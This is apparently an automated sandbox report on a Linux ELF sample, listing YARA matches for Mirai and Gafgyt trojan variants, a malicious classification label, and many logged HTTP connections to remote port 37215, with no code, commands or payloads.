Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: x86_64.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6216.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6218.1.0000000000400000.0000000000411000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@25/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 59658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32940 -> 37215
